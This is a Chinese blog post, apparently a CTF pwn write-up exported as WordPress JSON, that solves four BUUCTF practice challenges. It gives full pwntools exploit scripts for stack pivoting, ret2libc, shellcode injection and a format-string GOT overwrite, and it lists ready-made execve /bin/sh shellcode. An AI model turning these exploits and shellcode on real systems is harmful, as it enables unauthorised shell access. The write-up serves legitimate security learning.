{"id":278,"date":"2025-07-29T15:56:29","date_gmt":"2025-07-29T07:56:29","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=278"},"modified":"2025-07-29T16:50:57","modified_gmt":"2025-07-29T08:50:57","slug":"buuctfgyctf_2020_borrowstack%e3%80%81mrctf2020_shellcode_revenge%e3%80%81jarvisoj_level5","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/29\/buuctfgyctf_2020_borrowstack%e3%80%81mrctf2020_shellcode_revenge%e3%80%81jarvisoj_level5\/","title":{"rendered":"buuctf:gyctf_2020_borrowstack\u3001mrctf2020_shellcode_revenge\u3001jarvisoj_level5\u3001wdb_2018_2nd_easyfmt"},"content":{"rendered":"\n


1\u3001gyctf_2020_borrowstack\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4dNX\uff0c\u597d\u50cf\u6709\u4e24\u6b21\u8f93\u5165<\/p>\n\n\n\n

main\u51fd\u6570<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6709\u4e24\u4e2aread\uff0c\u4f46\u662f\u6709\u4e86\u6808\u6ea2\u51fa\u4e3a\u4ec0\u4e48\u8fd8\u8981\u641e\u4e00\u4e2aread\u5462\uff0c\u4ed4\u7ec6\u770b\u4e00\u770b\uff0c\u8fd9\u4e2a\u6ea2\u51fa\u91cf\u5e76\u4e0d\u5927\uff0c\u800c\u4e14bank\u662fbass\u6bb5\u54e6\uff0c\u5e94\u8be5\u662f\u4fee\u6539rbp\u7684\u503c\u6307\u5411bass\u6bb5,\u8fd9\u91cc\u5229\u7528leave\u5c31\u53ef\u4ee5\u8ba9rsp\u6307\u5411bass\u5c31\u628a\u6808\u8fc1\u79fb\u8fc7\u53bb\u4e86\uff0c\u4f46\u662f\u770b\u4e86\u4e00\u4e0b\u5927\u4f6c\u7684\u7ecf\u5386\uff0c\u6709\u5751\u554a\uff0c\u867d\u7136\u5df2\u7ecf\u77e5\u9053\u4e86leave\u7684\u4f5c\u7528\uff0c\u8fd8\u662f\u96be\u4ee5\u4e0b\u624b\uff0c\u6162\u6162\u8bd5\u4e00\u8bd5\u5427<\/p>\n\n\n\n

\u5177\u4f53\u7684\u5751\u662fbank\u8ddd\u79bbgot\u8868\u592a\u8fd1\uff0c\u6267\u884crop\u7684\u65f6\u5019\u628agot\u8868\u8986\u76d6\u4e86\uff0c\u5f53\u6211\u4eec\u8981\u7528read\u662f\u8c03\u7528\u5931\u8d25<\/p>\n\n\n\n

\u90a3\u4e48\u6211\u4eec\u9700\u8981\u7684\u6b65\u9aa4\u662f\u5148\u6ea2\u51fa\u540e\u8ba9\u6808\u8f6c\u79fb\uff0c\u7136\u540e\u5229\u7528puts\u6cc4\u9732libc\uff0c\u627eone_gadget\uff0c\u7136\u540e\u6ea2\u51fa\u5230one_gadget\u7684\u5730\u65b9\u83b7\u53d6shell<\/p>\n\n\n\n

\u5148\u6765\u770b\u770bone_gadget<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u4e0b\u5c31\u770b\u5230\u5b83\u7684\u7528\u5904\u4e86\u5427<\/p>\n\n\n\n

\u9898\u76ee\u6709\u70b9\u590d\u6742\uff0c\u5148\u6765\u628a\u8981\u7528\u7684\u88c5\u5907\u627e\u9f50\u4e86<\/p>\n\n\n\n

\u6ea2\u51fa\uff1a0x60+8<\/p>\n\n\n\n

bank=0x601080<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

=0x400703<\/p>\n\n\n\n

ret=0x4004c9<\/p>\n\n\n\n

leave=0x400699<\/p>\n\n\n\n

\u7136\u540e\u634f\uff0c\u6211\u4eec\u8981\u7a0d\u5fae\u628a\u5730\u5740\u62ac\u9ad8\u4e00\u4e9b\u8be5\u600e\u4e48\u505a\u5462<\/p>\n\n\n\n

\u5728bank\u7684\u57fa\u7840\u4e0a\u52a0\u4e00\u70b9\uff0c\u770b\u5230\u6709\u5e08\u5085\u5728\u7b2c\u4e8c\u6b21\u8f93\u5165\u7528ret*20\u6765\u89e3\u51b3\uff0c\u611f\u89c9\u633a\u65b9\u4fbf\u7684\uff0c\u8bd5\u4e00\u8bd5\u561b\uff0c\u540e\u9762\u518d\u8bd5\u8bd5*0x18\u53ef\u4e0d\u53ef\u4ee5\uff0cone_gadget\u627e\u4e0d\u6765\u563f\u563f<\/p>\n\n\n\n

2\u3001gyctf_2020_borrowstack cat flag<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29234)\n#p=process(\".\/gyctf_2020_borrowstack\")\n\nbank=0x601080\nrdi=0x400703\nret=0x4004c9\nleave=0x400699\npayload=b'a'*0x60+p64(bank)+p64(leave)\np.recvuntil(\"u want\")\np.send(payload)\n\nelf=ELF(\".\/gyctf_2020_borrowstack\")\nputs_plt=elf.plt['puts']\nputs_got=elf.got['puts']\nmain=elf.sym['main']\npayload=p64(ret)*0x18+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)\np.recvuntil(\"your borrow \")\np.send(payload)\np.recv()\nputs=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(puts))\n\ngadget=0x4526a\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\none_gadget=base+gadget\npayload=b'a'*(0x60+8)+p64(one_gadget)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7cca\u91cc\u7cca\u6d82……<\/p>\n\n\n\n
3\u3001mrctf2020_shellcode_revenge\u5206\u6790\uff08\u53ef\u89c1\u5b57\u7b26shellcode\uff09<\/h2>\n\n\n\n
\u6628\u5929\u5b9e\u5728\u662f\u6709\u70b9\u7d2f\uff0c\u4eca\u5929\u7ee7\u7eed\u505a\u9898<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
64\u4f4d\u5f00\u4e86full relro \u8fd8\u6709pie\u554a<\/p>\n\n\n\n
\u6709\u4e00\u4e2a\u8f93\u5165\uff0c\u53bbida\u770b\u770b\uff0c\u8fd8\u53ea\u80fd\u770b\u770b\u6c47\u7f16<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4ed6\u8fd9\uff0c\u662f\u8ba9\u6211\u76f4\u63a5\u4f20shellcode\u554a\uff0cbuf\u8fd9\u4e48\u5927<\/p>\n\n\n\n
\u5509\uff0c\u5176\u5b9e64\u4f4d\u7684\u4e4b\u524d\u90fd\u8bbe\u4e86\u73af\u5883\u7684\uff0c\u5176\u5b9e\u4e0d\u8bbe\u4e5f\u884c\uff0c\u4e4b\u524d\u6536\u96c6\u8fc7\u53ef\u89c1\u548c\u4e0d\u53ef\u89c1\u7684shellcode<\/p>\n\n\n\n
\u4e0d\u53ef\u89c1\uff1a<\/p>\n\n\n\n
32\u4f4d\u6bb5\u5b57\u8282shellcode\uff0821\u5b57\u8282\uff09<\/p>\n\n\n\n
\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80<\/code><\/pre>\n\n\n\n
64\u4f4d\u8f83\u77ed\u7684shellcode\uff0823\u5b57\u8282\uff09<\/p>\n\n\n\n
\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05<\/code><\/pre>\n\n\n\n
\u53ef\u89c1\u7248\u672c\uff08\u7531\u53ef\u89c1\u5b57\u7b26\u7ec4\u6210\uff09\uff1a<\/p>\n\n\n\n
X64:<\/p>\n\n\n\n
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t<\/code><\/pre>\n\n\n\n
32\u4f4d\uff1a<\/p>\n\n\n\n
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u90fd\u6765\u8bd5\u8bd5\uff0c\u770b\u770b\u6709\u4ec0\u4e48\u533a\u522b<\/p>\n\n\n\n

4\u3001mrctf2020_shellcode_revenge cat flag<\/h2>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",27592)\n\nshellcode=asm(shellcraft.sh())\npayload=shellcode\np.sendline(shellcode)\np.interactive()<\/code><\/pre>\n\n\n\n

\u8fd9\u4e2a \u4e1c\u897f\u6253\u4e0d\u901a\uff0c\u4e5f\u4e0d\u60f3\u5206\u6790\u6c47\u7f16\u4e86[\u6342\u8138]\uff0c\u5176\u5b9e\u5c31\u662f\u8fd9\u4e2a\u5730\u65b9\u5728\u4f5c\u602a\uff0c\u628a\u5b57\u7b26\u9650\u5236\u5f97\u6b7b\u6b7b\u7684,\u8df3\u8df3\u7cd6\u4e00\u6837<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",27592)\n\nshellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'\np.send(shellcode)\np.interactive()<\/code><\/pre>\n\n\n\n

\u4e5f\u53ef\u4ee5\u7528alpha3\u6765\u751f\u6210\uff0c\u4f46\u662f\u6709\u73b0\u6210\u7684\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001jarvisoj_level5\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
64\u4f4d\u5f00\u4e86NX\uff0c\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n
\u4e3b\u8981\u662f\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u660e\u663e\u7684\u6808\u6ea2\u51fa\uff0c\u7531\u4e8e\u6ca1\u6709system(“\/bin\/sh”)\u6211\u4eec\u76f4\u63a5ret2libc\u7b97\u4e86\uff0c\u5229\u7528write\u51fd\u6570\u6cc4\u9732libc\uff0c\u6709\u4e09\u4e2a\u53c2\u6570\uff0c\u6211\u4eec\u5148\u627e\u5bc4\u5b58\u5668<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7528\u8fd9\u4e2a\u8bd5\u8bd5<\/p>\n\n\n\n
rdi=0x4006b3<\/p>\n\n\n\n
rsir15=0x4006b1<\/p>\n\n\n\n
\u8fd4\u56de\u5730\u5740vuln=0x4005E6<\/p>\n\n\n\n
\u7136\u540e\u76f4\u63a5\u5f00\u5199<\/p>\n\n\n\n
6\u3001jarvisoj_level5\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29004)\nelf=ELF(\".\/level3_x64\")\n\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\nrdi=0x4006b3\nrsir15=0x4006b1\nvuln=0x4005E6\npayload=b'a'*(0x80+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(vuln)\np.recvuntil(\"Input:\\n\")\np.sendline(payload)\nwrite=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(write))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=write-libc.sym['write']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b\"\/bin\/sh\"))\npayload=b'a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(sys)\np.recvuntil(\"Input:\\n\")\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8f83\u7b80\u5355\u554a<\/p>\n\n\n\n
7\u3001wdb_2018_2nd_easyfmt\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
32\u4f4d\u5f00\u4e86NX,\u662f\u4e2a\u590d\u8bfb\u673a\uff0c\u8ba8\u538c\u6b7b\u4e86<\/p>\n\n\n\n
main\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

read\u4e0d\u4f1a\u9020\u6210\u6ea2\u51fa\uff0c\u4f46\u662f\u5f00\u4e86NX\uff0c\u4e0d\u80fd\u76f4\u63a5\u4f20shellcode\uff0c\u90a3\u4f1a\u4e0d\u4f1a\u6808\u4e0a\u6709\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u5462<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
haha\u88ab\u902e\u6355\u4e86\uff0c\u504f\u79fb\u662f6\u5229\u7528\u5b83\u6211\u4eec\u60f3\u5230\u7684\u5c31\u662f\u7528puts_got\u6cc4\u9732libc\u57fa\u5740\u7136\u540e\u5c31\u5f97\u5230system\u7684\u5730\u5740\uff0c\u4e4b\u524d\u505a\u5230\u7684\uff0c\u56e0\u4e3agot\u8868\u53ef\u5199\u5c31\u53ef\u4ee5\u628aprintf_got\u6539\u6210system\u7684\u5730\u5740\uff0c\u5728\u5199\u5165\/bin\/sh\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n
\u6765\u770b\u4e00\u4e9b\u91cd\u8981\u7684\u53c2\u6570<\/p>\n\n\n\n
fmtstr_payload(offset, {address1: value1, address2: value2, ...}, numbwritten=0, write_size='byte')<\/code><\/pre>\n\n\n\n
\u5bf9\u4e8e\u8fd9\u9053\u9898\u6bd4\u8f83\u65b9\u4fbf\uff0c\u504f\u79fb\u662f6\uff0c\u4fee\u6539\u662f{printf_got:sys}\u5176\u4ed6\u7684\u4ee5\u5199\u5165\u548c\u53d1\u9001\u65b9\u5f0f\u9ed8\u8ba4\u5c31\u884c<\/p>\n\n\n\n
8\u3001wdb_2018_2nd_easyfmt\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28996)\n#p=process(\".\/wdb_2018_2nd_easyfmt\")\nelf=ELF(\".\/wdb_2018_2nd_easyfmt\")\n\nputs_got=elf.got['puts']\npayload = p32(puts_got) + b'%6$s'\np.recvuntil(\"Do you know repeater?\")\np.sendline(payload)\nputs = u32(p.recvuntil(\"\\xf7\")[-4:])\nprint(hex(puts))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\nsys=base+libc.sym['system']\nprintf_got=elf.got['printf']\npayload=fmtstr_payload(6,{printf_got:sys})\np.sendline(payload)\np.sendline(b'\/bin\/sh')\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u597d\u56f0\uff0c\u4f11\u606f\u4e86zzz……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001gyctf_2020_borrowstack\u5206\u6790 64\u4f4dNX\uff0c\u597d\u50cf\u6709\u4e24\u6b21\u8f93\u5165 main\u51fd\u6570 \u6709\u4e24\u4e2aread […]<\/p>\n","protected":false},"author":1,"featured_media":300,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-278","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/278","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=278"}],"version-history":[{"count":2,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/278\/revisions"}],"predecessor-version":[{"id":304,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/278\/revisions\/304"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/300"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=278"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=278"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=278"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}